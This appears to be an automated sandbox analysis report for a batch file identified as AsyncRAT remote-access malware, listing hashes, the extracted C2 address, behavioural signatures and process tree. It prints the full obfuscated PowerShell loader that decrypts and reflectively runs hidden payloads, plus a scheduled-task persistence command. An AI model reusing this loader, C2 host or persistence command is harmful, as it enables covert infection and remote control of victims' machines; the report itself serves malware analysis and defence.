Analysis
-
max time kernel
140s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19-10-2024 23:12
Static task
static1
Behavioral task
behavioral1
Sample
Infected.bat
Resource
win7-20240903-en
General
-
Target
Infected.bat
-
Size
74KB
-
MD5
25d86af45fcc93078ac8ff2dd1e83314
-
SHA1
fd00fd08a9e264bf2470ca17d4b118522fae48fa
-
SHA256
40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56
-
SHA512
518ccc58c6c4eb3c744f4f417892d802dfa13cdb0fbc98020787b5534d12d602e8087741189dfa9ea7eeff9ce09714638b144771692e375fa93d249609debe24
-
SSDEEP
768:s1yoKUYWJ5jQm6+iPOf9EwY+yIkwJJke7RA65LyTUtwfMMT4bKfdYeXAG6qUo+Rd:Boqa5jHdlFMIkylRB5Gjeep6q6vSp2SY
Malware Config
Extracted
asyncrat
Default
policy-sas.gl.at.ply.gg:43122
-
delay
1
-
install
true
-
install_file
Photos.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/180-15-0x000001BBF6480000-0x000001BBF6496000-memory.dmp family_asyncrat -
Executes dropped EXE 1 IoCs
Processes:
Photos.exepid process 1380 Photos.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 2556 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 27 IoCs
Processes:
powershell.exePhotos.exepid process 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 180 powershell.exe 1380 Photos.exe 1380 Photos.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exePhotos.exedescription pid process Token: SeDebugPrivilege 180 powershell.exe Token: SeDebugPrivilege 180 powershell.exe Token: SeDebugPrivilege 1380 Photos.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.execmd.execmd.exedescription pid process target process PID 4388 wrote to memory of 180 4388 cmd.exe powershell.exe PID 4388 wrote to memory of 180 4388 cmd.exe powershell.exe PID 180 wrote to memory of 4752 180 powershell.exe cmd.exe PID 180 wrote to memory of 4752 180 powershell.exe cmd.exe PID 180 wrote to memory of 948 180 powershell.exe cmd.exe PID 180 wrote to memory of 948 180 powershell.exe cmd.exe PID 948 wrote to memory of 2556 948 cmd.exe timeout.exe PID 948 wrote to memory of 2556 948 cmd.exe timeout.exe PID 4752 wrote to memory of 4392 4752 cmd.exe schtasks.exe PID 4752 wrote to memory of 4392 4752 cmd.exe schtasks.exe PID 948 wrote to memory of 1380 948 cmd.exe Photos.exe PID 948 wrote to memory of 1380 948 cmd.exe Photos.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rfPx2/qjPEULy3w9Vw91tAJgXSLsh+wieWCmL2bqeJE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uoQNNJFNYFBjzV7jmi3PfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $huwyq=New-Object System.IO.MemoryStream(,$param_var); $asgET=New-Object System.IO.MemoryStream; $pgUdN=New-Object System.IO.Compression.GZipStream($huwyq, [IO.Compression.CompressionMode]::Decompress); $pgUdN.CopyTo($asgET); $pgUdN.Dispose(); $huwyq.Dispose(); $asgET.Dispose(); $asgET.ToArray();}function execute_function($param_var,$param2_var){ $MXcqt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wghyx=$MXcqt.EntryPoint; $wghyx.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$dNySU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Infected.bat').Split([Environment]::NewLine);foreach ($NKwGP in $dNySU) { if ($NKwGP.StartsWith(':: ')) { $rNMtY=$NKwGP.Substring(3); break; }}$payloads_var=[string[]]$rNMtY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:180 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"' & exit3⤵
- Suspicious use of WriteProcessMemory
PID:4752 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"'4⤵
- Scheduled Task/Job: Scheduled Task
PID:4392 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp804C.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
PID:2556 -
C:\Users\Admin\AppData\Roaming\Photos.exe"C:\Users\Admin\AppData\Roaming\Photos.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
150B
MD57b50dd8e05a69c22f1ad41ccc6b8f990
SHA1c68a386464ea61b045f58b6ae02c5320a1d5cc2a
SHA256908e7e29f0b9c9de14f5632993cc1720b62e0bb8504d2457409f11222c2d6328
SHA51245b1789df80fe7c1749dd54f49c8a1439a14aba7778ed967b1132fa333623496c172081e08d80d309f1c4e729427b7bf05e8fb71021c7092ff02fe714373546b
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b